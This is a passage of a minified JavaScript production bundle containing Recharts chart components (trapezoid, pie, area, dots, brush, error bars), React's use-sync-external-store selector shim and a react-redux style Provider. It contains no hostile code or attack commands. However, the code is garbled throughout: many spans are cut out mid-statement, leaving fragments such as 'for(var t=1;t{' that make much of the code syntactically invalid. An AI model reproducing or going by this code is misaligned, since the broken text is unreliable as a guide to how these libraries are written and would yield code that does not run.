e?!!e.clipDot:!0,JS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(JS);var R$=JS.isPlainObject;const $$=Cr(R$);var Fb,Wb,Ub,Vb,Hb;function Kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function qb(e){for(var t=1;t{var a=n-r,o;return o=Ge(Fb||(Fb=Ls(["M ",",",""])),e,t),o+=Ge(Wb||(Wb=Ls(["L ",",",""])),e+n,t),o+=Ge(Ub||(Ub=Ls(["L ",",",""])),e+n-a/2,t+i),o+=Ge(Vb||(Vb=Ls(["L ",",",""])),e+n-a/2-r,t+i),o+=Ge(Hb||(Hb=Ls(["L ",","," Z"])),e,t),o},U$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},V$=e=>{var t=cn(e,U$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=Ld(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var V=m.current.getTotalLength();V&&x(V)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=qe("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",Pu({},Mt(t),{className:k,d:Yb(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,O=b.current,_=w.current,T="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),R=dN(["strokeDasharray"],u,c);return p.createElement(Md,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},V=>{var $=jt(S,i,V),L=jt(N,a,V),W=jt(z,o,V),B=jt(O,n,V),U=jt(_,r,V);m.current&&(g.current=$,y.current=L,v.current=W,b.current=B,w.current=U);var F=V>0?{transition:R,strokeDasharray:P}:{strokeDasharray:T};return p.createElement("path",Pu({},Mt(t),{className:k,d:Yb(B,U,$,L,W),ref:m,style:qb(qb({},F),t.style)}))})},H$=["option","shapeType","activeClassName"];function K$(e,t){if(e==null)return{};var n,r,i=q$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=tt();return(i,a)=>o=>{e==null||e(i,a,o),r(tS({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},nB=e=>{var t=tt();return(n,r)=>i=>{e==null||e(n,r,i),t(oD())}},rB=(e,t,n)=>{var r=tt();return(i,a)=>o=>{e==null||e(i,a,o),r(lD({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function e3(e){var{tooltipEntrySettings:t}=e,n=tt(),r=Fn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(rD(t)):i.current!==t&&n(iD({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(aD(i.current)),i.current=null)},[n]),null}function iB(e){var{legendPayload:t}=e,n=tt(),r=Fn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(oN(t)):i.current!==t&&n(lN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(cN(i.current)),i.current=null)},[n]),null}function aB(e){var{legendPayload:t}=e,n=tt(),r=xe(_e),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(oN(t)):i.current!==t&&n(lN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(cN(i.current)),i.current=null)},[n]),null}var up,sB=()=>{var[e]=p.useState(()=>So("uid-"));return e},oB=(up=$2.useId)!==null&&up!==void 0?up:sB;function lB(e,t){var n=oB();return t||(e?"".concat(e,"-").concat(n):n)}var cB=p.createContext(void 0),t3=e=>{var{id:t,type:n,children:r}=e,i=lB("recharts-".concat(n),t);return p.createElement(cB.Provider,{value:i},r(i))},uB={cartesianItems:[],polarItems:[]},n3=Yt({name:"graphicalItems",initialState:uB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:$e()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=In(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:$e()},removeCartesianGraphicalItem:{reducer(e,t){var n=In(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:$e()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:$e()},removePolarGraphicalItem:{reducer(e,t){var n=In(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:$e()}}}),{addCartesianGraphicalItem:dB,replaceCartesianGraphicalItem:fB,removeCartesianGraphicalItem:pB,addPolarGraphicalItem:mB,removePolarGraphicalItem:hB}=n3.actions,xB=n3.reducer,vB=e=>{var t=tt(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(dB(e)):n.current!==e&&t(fB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(pB(n.current)),n.current=null)},[t]),null},gB=p.memo(vB);function yB(e){var t=tt();return p.useLayoutEffect(()=>(t(mB(e)),()=>{t(hB(e))}),[t,e]),null}var bB=["key"],wB=["onMouseEnter","onClick","onMouseLeave"],jB=["id"],kB=["id"];function Zb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ze(e){for(var t=1;tZS(e.children,Qd),[e.children]),n=xe(r=>T$(r,e.id,t));return n==null?null:p.createElement(aB,{legendPayload:n})}var EB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:Nd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(e3,{tooltipEntrySettings:f})}),AB=(e,t)=>e>t?"start":enn(typeof t=="function"?t(e):t,n,n*.8),OB=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=xN(a,o),c=i+nn(e.cx,a,a/2),u=r+nn(e.cy,o,o/2),d=nn(e.innerRadius,l,0),f=_B(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},TB=(e,t)=>{var n=Ft(t-e),r=Math.min(Math.abs(t-e),360);return n*r},MB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=ff(t,bB);return p.createElement(Ia,fi({},i,{type:"linear",className:n}))},LB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=qe("recharts-pie-label-text",C$(e));return p.createElement(Q0,fi({},t,{alignmentBaseline:"middle",className:i}),r)};function IB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=yr(n),c=ko(i),u=ko(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=rt(m.cx,m.cy,m.outerRadius+d,x),y=Ze(Ze(Ze(Ze({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:AB(g.x,m.cx)},g),v=Ze(Ze(Ze(Ze({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[rt(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(yi,{zIndex:Ut.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(qt,null,a&&MB(a,v),LB(i,y,Re(m,o))))});return p.createElement(qt,{className:"recharts-pie-labels"},f)}function DB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(US,{label:i}):p.createElement(IB,{sectors:t,props:n,showLabels:r})}function RB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=xe(Qa),c=xe(xS),u=xe(qD),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=ff(i,wB),x=tB(d,i.dataKey,o),g=nB(m),y=rB(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=Ze(Ze({},v),{},{stroke:v.stroke,tabIndex:-1,[Hk]:b,[Kk]:o});return p.createElement(qt,fi({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},tO(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(eB,fi({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function $B(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=TB(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Re(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Re(N,u,0);return S+(fe(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Re(S,u,0),O=Re(S,d,N),_=OB(n,a,S),T=(fe(z)?z:0)/w,P,R=Ze(Ze({},S),i&&i[N]&&i[N].props);N?P=k.endAngle+Ft(h)*g*(z!==0?1:0):P=l;var V=P+Ft(h)*((z!==0?m:0)+T*b),$=(P+V)/2,L=(_.innerRadius+_.outerRadius)/2,W=[{name:O,value:z,payload:R,dataKey:u,type:f,graphicalItemId:n.id}],B=rt(_.cx,_.cy,L,$);return k=Ze(Ze(Ze(Ze({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:W,midAngle:$,middleRadius:L,tooltipPosition:B},R),_),{},{value:z,dataKey:u,startAngle:P,endAngle:V,payload:R,paddingAngle:Ft(h)*g}),k})}return j}function BB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(h$,{value:t?i:void 0},r)}function FB(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=Ld(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(BB,{showLabels:!g,sectors:i},p.createElement(Md,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,O)=>{var _=x&&x[O],T=O>0?No(z,"paddingAngle",0):0;if(_){var P=jt(_.endAngle-_.startAngle,z.endAngle-z.startAngle,w),R=Ze(Ze({},z),{},{startAngle:N+T,endAngle:N+P+T});k.push(R),N=R.endAngle}else{var{endAngle:V,startAngle:$}=z,L=jt(0,V-$,w),W=Ze(Ze({},z),{},{startAngle:N+T,endAngle:N+L+T});k.push(W),N=W.endAngle}}),n.current=k,p.createElement(qt,null,p.createElement(RB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(DB,{showLabels:!g,sectors:i,props:t}),t.children)}var WB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Ut.area};function UB(e){var{id:t}=e,n=ff(e,jB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>ZS(e.children,Qd),[e.children]),l=xe(d=>M$(d,t,o)),c=p.useRef(null),u=qe("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(qt,{tabIndex:a,className:u})):p.createElement(yi,{zIndex:e.zIndex},p.createElement(EB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(qt,{tabIndex:a,className:u},p.createElement(FB,{props:Ze(Ze({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function r3(e){var t=cn(e,WB),{id:n}=t,r=ff(t,kB),i=yr(r);return p.createElement(t3,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(yB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(PB,fi({},r,{id:a})),p.createElement(UB,fi({},r,{id:a}))))}r3.displayName="Pie";var VB=["points"];function Qb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function dp(e){for(var t=1;t{var y,v,b=dp(dp(dp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(XB,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(yi,{zIndex:u},p.createElement(qt,Au({className:r},h),m))}function Jb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function e2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),aF=M([iF,Ar,_r],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),rv=()=>xe(aF),sF=()=>xe(QD);function t2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function fp(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=fp(fp(fp({},l),ko(i)),wx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(VS,c),p.createElement(qt,{className:"recharts-active-dot",clipPath:o},u)};function n2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Ut.activeDot}=e,l=xe(Qa),c=sF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return St(u)?null:p.createElement(yi,{zIndex:o},p.createElement(uF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var s3=e=>{var{chartData:t}=e,n=tt(),r=Fn();return p.useEffect(()=>r?()=>{}:(n(hb(t)),()=>{n(hb(void 0))}),[t,n,r]),null},r2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},o3=Yt({name:"brush",initialState:r2,reducers:{setBrushSettings(e,t){return t.payload==null?r2:t.payload}}}),{setBrushSettings:UV}=o3.actions,dF=o3.reducer,fF={dots:[],areas:[],lines:[]},l3=Yt({name:"referenceElements",initialState:fF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=In(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=In(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=In(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:VV,removeDot:HV,addArea:KV,removeArea:qV,addLine:YV,removeLine:GV}=l3.actions,pF=l3.reducer,mF=p.createContext(void 0),hF=e=>{var{children:t}=e,[n]=p.useState("".concat(So("recharts"),"-clip")),r=rv();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(mF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},xF={},c3=Yt({name:"errorBars",initialState:xF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:XV,replaceErrorBar:ZV,removeErrorBar:QV}=c3.actions,vF=c3.reducer;function u3(e,t){var n,r,i=xe(u=>Mr(u,e)),a=xe(u=>Lr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:S4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:z4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function gF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=rv(),{needClipX:a,needClipY:o,needClip:l}=u3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function yF(e){var t=ko(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var bF={};/** * @license React * use-sync-external-store-with-selector.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var cl=p;function wF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var jF=typeof Object.is=="function"?Object.is:wF,kF=cl.useSyncExternalStore,NF=cl.useRef,SF=cl.useEffect,zF=cl.useMemo,CF=cl.useDebugValue;bF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=NF(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=zF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,jF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=kF(e,a[0],a[1]);return SF(function(){o.hasValue=!0,o.value=l},[l]),CF(l),l};function PF(e){e()}function EF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){PF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var i2={notify(){},get:()=>[]};function AF(e,t){let n,r=i2,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=EF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=i2)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var _F=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",OF=_F(),TF=()=>typeof navigator<"u"&&navigator.product==="ReactNative",MF=TF(),LF=()=>OF||MF?p.useLayoutEffect:p.useEffect,IF=LF();function a2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function DF(e,t){if(a2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=AF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);IF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||$F;return p.createElement(l.Provider,{value:a},t)}var FF=BF,WF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function UF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function d3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(WF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!DF(e[r],t[r]))return!1}else if(!UF(e[r],t[r]))return!1;return!0}function iv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:i3}function av(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:i3}var f3=(e,t,n)=>G4(e,"xAxis",iv(e,t),n),p3=(e,t,n)=>Y4(e,"xAxis",iv(e,t),n),m3=(e,t,n)=>G4(e,"yAxis",av(e,t),n),h3=(e,t,n)=>Y4(e,"yAxis",av(e,t),n),VF=M([_e,f3,m3,p3,h3],(e,t,n,r,i)=>ir(e,"xAxis")?nu(t,r,!1):nu(n,i,!1)),HF=(e,t)=>t,x3=M([P4,HF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),v3=e=>{var t=_e(e),n=ir(t,"xAxis");return n?"yAxis":"xAxis"},KF=(e,t)=>{var n=v3(e);return n==="yAxis"?av(e,t):iv(e,t)},qF=(e,t,n)=>T4(e,v3(e),KF(e,t),n),YF=M([x3,qF],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=b0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),GF=M([_e,f3,m3,p3,h3,YF,RI,VF,x3,qI],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return mW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),XF=["id"],ZF=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Wi(){return Wi=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:_u(r,i),value:Nd(n,t),payload:e}]},rW=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:as,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:Nd(o,t),hide:l,type:u,color:_u(r,a),unit:c,graphicalItemId:d}};return p.createElement(e3,{tooltipEntrySettings:f})});function iW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=yr(r);return p.createElement(QB,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function aW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Pa(Pa({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(m$,{value:t?i:void 0},n)}function o2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=g3(a,XF),h=yr(m),x=Mt(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(qt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Ia,Wi({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Ia,Wi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Ia,Wi({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(iW,{points:t,props:m,clipPathId:i}))}function sW(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!je(l)||!je(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return fe(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),fe(d)?p.createElement("rect",{x:0,y:lf.y||0));return fe(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),fe(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=Ld(x,"recharts-area-"),y=OT(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof 